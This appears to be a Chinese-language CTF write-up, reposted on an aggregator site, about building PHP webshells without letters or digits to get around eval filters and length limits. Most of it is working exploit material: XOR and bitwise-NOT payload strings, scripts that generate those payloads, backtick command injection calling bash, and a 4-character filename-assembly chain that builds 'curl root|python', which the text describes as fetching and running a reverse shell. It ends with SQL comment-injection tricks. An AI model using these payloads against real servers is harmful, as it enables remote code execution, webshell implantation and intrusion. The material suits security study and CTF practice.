浅谈无字母数字构造webshell

Posted 王叹之

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈无字母数字构造webshell相关的知识,希望对你有一定的参考价值。

0x00 问题

<?php
include \'flag.php\';
if(isset($_GET[\'code\'])){
    $code = $_GET[\'code\'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

读一下代码,我们要对code进行传参,code的参数在经过变换后以不含字母数字的形式构造任意字符,并且字符串的长度小于40,
然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

0x01 解决思路

上篇文章就提过了,三种方法,这里我们继续深入:
来源:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
php5中assert是一个函数,我们可以通过$f=\'assert\';$f(...);这样的方法来动态执行任意代码

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell

我们有三种方法来构造webshell:
1:异或。

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值

想得到我们想要的异或后的字符:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\\\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\\{$l`$r\\}";
?>

这里的话我们异或只能构造GET型,POST不行
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${����^����}{�}("type index.php");&%ff=system。
exp:

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\\\$b = $_POST
$a($c[777]);

2:取反构造

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如\'和\'{2}的结果是"\\x8c",其取反即为字母s

3:自增构造
参考链接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

\'a\'++ => \'b\',\'b\'++ => \'c\'

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "K0i";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

1:$_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
2:$__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
3:$ __ (); 通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为K0i。在PHP中,我们可以将字符串当作函数来处理。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

0x02 解决问题

最开始我们想到利用异或解决问题:
怎么生成我们需要的异或后的字符呢?比如_GET?
一个一个试就太麻烦了,我们利用下面的这个python3脚本:
ps:上面的PHP脚本也行,但是我本地环境问题并没有运行出来。。

import urllib.parse
find = [\'G\',\'E\',\'T\',\'_\']//这里没有顺序
for i in range(1,256):
    for j in range(1,256):
        result = chr(i^j)
        if(result in find):
            a = i.to_bytes(1,byteorder=\'big\')
            b = j.to_bytes(1,byteorder=\'big\')
            a = urllib.parse.quote(a)
            b = urllib.parse.quote(b)
            print("%s:%s^%s"%(result,a,b))

我们看到
生成了多组数据,任意取一组就行,注意顺序:
比如:

_:%FE^%A1
G:%FE^%B9
E:%FE^%BB
T:%FE^%AA

最后凑出:

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

我们这里的payload是把前面和后面分别放在了一起,很明显前面都是%fe

最成功调用get_the_flag函数

回到问题,异或方法并不可以,
最后构造的字串远远超过了长度len=40

我们该如何构造这个字串使得长度小于40呢?
以下解决方案转载自:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

下面开始分析我们的payload:

1:构造_GET读取

首先我们得知道_GET由什么异或而来的:
这个我看师傅博客也是试出来的。。

<?php
    echo "`{{{"^"?<>/";//_GET
    ?>

这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致我们上面的逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号  和Linux下面的通配符?

? 代表匹配一个字符
` 表示执行命令
" 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看:

<?php
    echo "{"^">";?>

<?php
    echo "{"^"/";?>

所以_GET就是这么被构造出来的

②获取_GET参数

如何获取呢?咱们可以构造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]
    )?>

根据前面构造的来看,$已经变成了_GET。
顺理成章的来讲,$
= _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值

3:传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

<?php
    echo $_=getFlag;//getFlag
    ?>

所以把参数全部连接起来,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

补充:
其他payload:
这个是把getFlag取反然后URL编码:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

~ 在 {} 中执行了取反操作,所以 ${~"\\xa0\\xb8\\xba\\xab"} 取反相当于 $_GET,拼接出了 $_GET\'+\';,传入 +=getFlag() 从而执行了函数:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

0x03 扩展(如何在长度受限,函数参数受限拿webshell)

以下内容转载自:
https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html

0x04 问题提出

<?php
    $param = $_REGUEST[\'param\'];
    if(strlen($param) < 17){
        eval($param);
    }
?>

上面这部分意思只是叫我们绕过长度受限就可以执行代码。这个其实就很简单了,我们可以采用调用eval或者assert这种后门函数就可以直接绕过了~~
eval函数中参数是字符,比如像下面这样子:

eval(\'echo 1;\');

assert函数中参数为表达式(或者为函数),我们可以像下面这样子去实现:

assert(phpinfo()) 

而我参看了PHP手册才了解到,assert是函数,eval不是函数,是一种语言构造器,eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串。assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现。例如像下面这个样子:

assert(eval("echo 1;echo 2;"));

结果如下:

比如像上面这句,如果是assert(eval("echo 1;echo 2")),这样写是不会执行echo 1也不会执行echo 2的,因为eval使用的字符串要是有分号的php语句,只要有字符串,它就可以当作命令来执行~~

那如果像下面这个例子呢?

<?php
    $param = $_REGUEST[\'param\'];
    if(
        strlen($param) < 17 &&
        stripos($param, \'eval\') == false &&
        stripos($param, \'assert\') == false
    ){
        eval($param);
    }
?>

0x05 问题解决

striops函数是用来查找目标字符串在字符串中第一次出现的位置。这里的意思是限制了长度最长为 16 个字符,而且不能用 eval 或 assert,这样我们又该怎么执行命令。

我们可以通过命令执行来绕过限制:

param=`$_GET[1]`;&1=bash

当然了,我们也可以用 exec函数:

param=exec($_GET[1]);

那如果是这个呢?

<?php
    $command = \'dir \'.$_POST[\'dir\'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents(\'out.bat\',$escaped_command);
    system(\'out.bat\');
?>

我们对其进行测试:

我们应该如何去绕过呢?
我们来看看这些函数,escapeshellcmd() 函数对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者执行操作符之前进行转义。
那么这个函数具体会转义哪些字符呢?我们通读了源码可以知道,下图这些字符都可以用^来取代其意义。也就是没办法用& | 来执行其他命令,只能列目录

那么我们萌生了一个这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令,我们做了如下尝试:

前面我们已经说了如何限制在16个字符内的情况下拿到webshell,在二进制漏洞利用中,当我们遇到可控数据只有8字节的情况,去掉字符串尾的\\0,限制在7个字符。那么在这种情况下,我们又该怎么办呢?
还是看之前那个例子,把命令长度变成7。

<?php
    $param = $_REGUEST[\'param\'];
    if(strlen($param) < 8){
        eval($param);
    }
?>

这让我想起赵本山演的那个小品《钟点工》里面的一个问题,把大象放进冰箱应该分为几步?此时我们需要铺垫一些基础知识了。
我们可以进行命令的拼装。我们来个条件更加苛刻的问题,命令长度限制在5,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = \'/www/sandbox/\' . md5("orange" . $_SERVER[\'REMOTE_ADDR\']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET[\'cmd\']) && strlen($_GET[\'cmd\']) <= 5) {
        @exec($_GET[\'cmd\']);
    } else if (isset($_GET[\'reset\'])) {
        @exec(\'/bin/rm -rf \' . $sandbox);
    }
    highlight_file(__FILE__);

举个例子,我们要执行echo hello这个命令,我们应该怎么办呢?
我们可以进行如下构造:

>echo
>>hello

结果如下:

我们可以看到创建了两个文件,分别是echo和hello,我们执行*命令

我们可以看到,执行了echo hello这行命令,所以直接打印出了hello字符串
我们可以通过echo 来查看一下里面的内容

我们通过将>echo和>hello 完成命令拼接,然后用* 组成并执行了命令echo hello
如果条件再苛刻一点呢?把命令长度限制在4,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = \'/www/sandbox/\' . md5("orange" . $_SERVER[\'REMOTE_ADDR\']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET[\'cmd\']) && strlen($_GET[\'cmd\']) <= 4) {
        @exec($_GET[\'cmd\']);
    } else if (isset($_GET[\'reset\'])) {
        @exec(\'/bin/rm -rf \' . $sandbox);
    }
    highlight_file(__FILE__);

比如,我们想要执行ls -l命令,我们可以模仿上面这种做法,进行如下构造:

>ls
>-l

我们可以看到创建了两个文件,分别是ls和-l,我们执行*命令

诶,这咋回事啊,咋还报错了呢?
其实啊,我们刚才生成的echo和hello,e的ASCII值要小于h,所以排序的时候自动将echo排在前面,hello排在后面,而ls我们可以看到,此时文件的显示顺序是-l在ls的前面。如果我们执行* 其实是执行-l ls会弹出报错信息

那么我们又该如何获得ls -l呢?

0x06 解决方案

01.命令内容反序

最简单的一种方式就是按照命令内容反着转过来。
我们可以这个命令字符序列反过来看 l- sl,这样是不是顺序正好满足要求呢?接下来我们只需要用一个可以把字符反过来的命令rev,就可以完成这个功能
所以首先第一步,我们先创建了两个文件,分别是l-和sl。

>l-
>sl

结果如下:

然后将l- sl组合写入文件v,然后查看v文件里面的内容。

这里面我们可以看到文件v中多了一个v,对我们命令造成干扰,如果我们只想文件中存在l-和sl,那该怎么办呢?

这里有个小trick,dir a b>c这个命令可以将a b写到文件c中,不会写入多余的命令进去

我们创建一个名为dir的文件,然后执行*>v,可以获得l- 和ls

>dir
>echo *
>*>v
cat v

然后我们就只需要对这个命令字符序列反转一下就行了,这里我们有一个rev命令,正好可以将内容反序。

所以我们需要产生一个名为rev的文件,然后执行*v ,此时命令相当于rev v,命名为v是为了被通配符匹配,这样就产生了我们要的输出ls -l。

>rev
ls
*v

然后就是输出到文件x,然后就可以执行sh x,成功以4个字符执行长度为5的ls -l命令。

*v>x
cat x
sh x

把上面写的命令编成一个shell脚本如下:

#!/usr/bin/env bash
>l-
>sl
>dir
*>v
>rev
*v>x
sh x

我们可以看到,整个命令链长度均小于等于4,这样我们就可以愉快的执行ls -l命令了~

02.时间排序技巧

在ls命令里面有个参数-t,可以根据出现的时间进行排序,先生成的文件排在后面,后生成的文件排在前面,类似于栈的结构。

假设我们要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的话,t-会在sl后面,不满足需求。所以我们变通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好满足顺序要求。

>g\\>
>ht-
>sl
>dir
*>v
>rev
*v>x
cat x

03.续行符技巧拼接命令

Linux里面有个神奇的符号(反斜杠),可以进行命令的续行,比如下面这个例子,我创建了两个文件a和b,我们通过ls命令查看效果和续行效果是一样的。

>a
>b
ls
l\\
s

这样,我们就可以构造一连串的拼接命令进行续行操作。再比如,我要构造命令curl root|python

>on
>th\\\\
>py\\\\
>\\|\\\\
>ot\\\\
>ro\\\\
>\\ \\\\
>rl\\\\
>cu\\\\
ls -t

这里我们可能会有点疑问,>th\\这里看着是5个字符,超过了4个的限制,实际上是因为shell环境需要输入\\产生\\,但是php代码exec时,只需要输入\\即可产生\\,比如 exec(“>th\\”)即可。所以这里实际上是不超过4个字符的。

我们再执行ls -th>g,把这些按照时间顺序导入到g文件里面,再查看一下g文件

然后执行sh g反弹shell即可,这里我就不演示给大家看了,大家可以自己在本机上进行尝试即可~~
这里对如何在命令长度受限的情况下成功get到webshell做个小结:

w长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell

关于mysql部分还有一些注释技巧,我给大家列一下

[#] 行内注释
[-- ] 行内注释,注意末尾的空格
[/*...*/] 段注释,可多行
[`] 某些情况下,可以作为注释
[;] 支持多句执行的情况下,可直接用分号闭合第一句SQL语句

具体的参考P牛的课件:来自小密圈里的那些奇技淫巧

参考链接:

https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list

以上是关于浅谈无字母数字构造webshell的主要内容,如果未能解决你的问题,请参考以下文章

浅谈无状态和有状态服务的区别

浅谈无缓存I/O操作和标准I/O文件操作差别

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

[SUCTF 2019]EasyWeb

php 不用字母,数字和下划线写 shell

深究异或webshell原理以及服务器处理免杀的流程